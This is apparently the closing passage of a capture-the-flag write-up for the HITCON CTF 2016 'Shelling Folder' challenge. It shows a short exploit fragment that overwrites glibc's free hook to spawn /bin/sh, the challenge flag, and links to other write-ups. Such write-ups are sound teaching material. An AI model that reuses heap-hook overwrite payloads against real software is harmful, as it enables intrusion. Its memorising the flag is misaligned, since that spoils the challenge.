#Create File Calc() #execve("/bin/sh") Remove("D"*24+p64(freeHook)[:7]) p.interactive()
Flag
Flag | hitcon{Sh3llingF0ld3r_Sh3rr1nf0rd_Pl4y_w17h_4_S1mpl3_D4t4_Ori3nt3d_Pr0gr4mm1n7} |
---|
Related Site
- http://blog.dazzlepppp.cn/2016/11/12/HITCON-CTF-2016-ShellingFolder/
- http://bruce30262.logdown.com/posts/976496-hitcon-ctf-2016-quals-shelling-folder
- https://github.com/ret2libc/ctfs/tree/master/hitcon2016quals/shellingfolder
- https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html
- http://database.sarang.net/study/glibc/3.htm